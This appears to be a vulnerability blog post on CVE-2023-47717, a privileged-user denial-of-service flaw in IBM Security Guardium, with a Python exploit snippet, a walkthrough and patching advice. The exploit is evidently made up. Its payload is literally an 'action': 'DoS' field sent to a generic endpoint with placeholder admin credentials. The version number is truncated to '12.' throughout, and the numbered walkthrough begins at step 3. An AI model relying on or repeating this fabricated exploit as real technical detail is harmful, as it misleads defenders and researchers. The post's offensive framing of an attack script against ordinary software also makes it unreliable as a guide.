CVE-2023-47717 - IBM Security Guardium 12. Privileged User DoS Vulnerability Exploit Analysis and Mitigation

IBM Security Guardium is a comprehensive data protection platform that enables organizations to protect sensitive data across the enterprise. Guardium 12., however, has been found to contain a vulnerability that could allow privileged users to perform unauthorized actions, leading to a potential denial of service (DoS) scenario. This post will provide an overview of CVE-2023-47717, the code snippet that demonstrates the exploit, a detailed walkthrough of the exploit, and steps to resolve the issue. IBM has assigned X-Force ID: 271690 to this vulnerability.

Exploit Details

IBM Security Guardium 12. suffers from a vulnerability that can lead to a denial of service. A privileged user can exploit this vulnerability to perform unauthorized actions. To exploit this vulnerability, an attacker will need to have valid credentials on the target system, with a user account that has elevated privileges.

The following code snippet demonstrates how one might exploit this vulnerability

import requests
import json

TARGET_URL = 'https://target.example.com';
USERNAME = 'admin'
PASSWORD = 'password'

# Obtain authentication token from Guardium 12.
auth_endpoint = f"{TARGET_URL}/restAPI/authenticate"
auth_data = {
    'username': USERNAME,
    'password': PASSWORD
}
response = requests.post(auth_endpoint, data=json.dumps(auth_data))
auth_token = response.json().get('tokenId', '')

# Send a malicious request to trigger the vulnerability
exploit_endpoint = f"{TARGET_URL}/restAPI/v2/endpoint"
headers = {
    'Authorization': f"Bearer {auth_token}"
}
malicious_request = {
    "action": "DoS",
    "target": "Guardium 12.",
}
response = requests.post(exploit_endpoint, headers=headers, data=json.dumps(malicious_request))

The attacker then sets the TARGET_URL variable to the Guardium 12. instance's URL.

3. The attacker then sets the credentials for the privileged user account, in this case, 'admin' with the password set as 'password.'
4. Next, the attacker sends a POST request containing the credentials to the /restAPI/authenticate endpoint, which returns an authentication token.
5. The attacker then constructs a malicious JSON payload that triggers the vulnerability and sends it in a POST request to the /restAPI/v2/endpoint with the previously obtained authentication token.

Mitigation

To resolve this vulnerability, organizations running IBM Security Guardium 12. should apply the recommended patches provided by IBM. Details can be found on the IBM support portal:

- IBM Security Guardium Security Bulletin

Another important security measure to consider is following the principle of least privilege (POLP) for user accounts. Ensuring that only necessary privileges are granted to each user can significantly reduce the risk of having a privileged account compromised.

Additionally, continuous security audits and regular vulnerability assessments can help identify potential vulnerabilities and provide possible solutions.

Conclusion

CVE-2023-47717 is a vulnerability in IBM Security Guardium 12., which allows a privileged user to perform unauthorized actions potentially leading to a denial of service scenario. This post discussed the exploit details, provided a code snippet, walked through the exploit, and provided steps to resolve the issue. It is essential for affected organizations to apply patches and follow security best practices to minimize the risk of exploitation.

Timeline

Published on: 05/16/2024 18:15:08 UTC
Last modified on: 06/04/2024 17:26:34 UTC